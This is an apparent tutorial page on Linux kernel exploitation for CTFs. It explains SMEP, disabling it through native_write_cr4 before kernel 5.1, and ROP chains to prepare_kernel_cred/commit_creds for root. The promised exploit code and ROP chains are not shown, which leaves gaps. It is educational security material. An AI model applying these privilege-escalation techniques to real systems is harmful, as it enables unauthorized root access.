Supervisor mode execution protection (SMEP)
Supervisor mode execution protection (SMEP) is a mitigation introduced by google engineers in the Linux kernel that prevents ret2usr exploits from working. While in kernel mode (ring0) the process can not execute from pages in userspace. This is a hardware feature offered by intel chips and is controlled by the 20th bit in the CR4 register. The is the same mitigation on ARM devices, but it's called PXN. (Also see this article for Android)
We can check for SMEP through /proc/cpuinfo:
# cat /proc/cpuinfo | grep smep
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisor smep smapBefore Linux Kernel 5.1
One technique proposed through a google project zero post is to zero out the 20th bit of the CR4 register. To do this Andrey Konovalov used a func(data) primitive to call native_write_cr4(val) with val having the 20th (and 21st) bit set to 0.
This link to kernel source shows the function accept an arbitrary value and attempts to set the CR4 register to the value provided. However we can see that the function mentions some bit pinning!
void native_write_cr4(unsigned long val)
{
unsigned long bits_changed = 0;
set_register:
asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");
if (static_branch_likely(&cr_pinning)) {
if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits;
val = (val & ~cr4_pinned_mask) | cr4_pinned_bits;
goto set_register;
}
/* Warn after we've corrected the changed bits. */
WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?\n",
bits_changed);
}
}It turns out that the kernel ensures that those values are not changed after the CPU is finished initializing and specifies just a couple lines above this function, which bits those are:
These changes were introduced in Linux Kernel 5.1 here and prevent us from over writing those bits using this function. For exploits before 5.1 (for CTFs) we can still use this technique and we need to execute a two gadget rop chain to call this function.
We need the address to native_write_cr4 and a gadget to fill our RDI register as it will contain the argument the function expects. Using ROPgadget we can find a gadget and using either our leak from before or a read off of /proc/kallsyms, we can get the address of native_write_cr4
A quick note here on rop gadget finding for kernels. Make sure you're not running ROPGadget on the bzimage since that's the entire boot image containing the vmlinux kernel image. There is an extract-vmlinux script located inside of the kernel tree that extracts out the vmlinux kernel that we want to use to find our gadgets.
Using these pieces we can construct a small ROP chain then ends with a jump into our give_me_root function:
If SMEP bit is pinned
If the SMEP bit is pinned, then we can't overwrite that part of the CR4 register with our own payload and we need to ROP for our prepare_kernel_cred and commit_creds calls. The steps we need to take are straight forward. We need to implement the pseudo assembly as ROP calls:
Running the previous ret2user payload will result in the following panic:

The process of generating the rop chain given the kernel is pretty straight forward and you won't run into any road bumps. My code for the overflow is shown here and below:
Success!

Last updated
Was this helpful?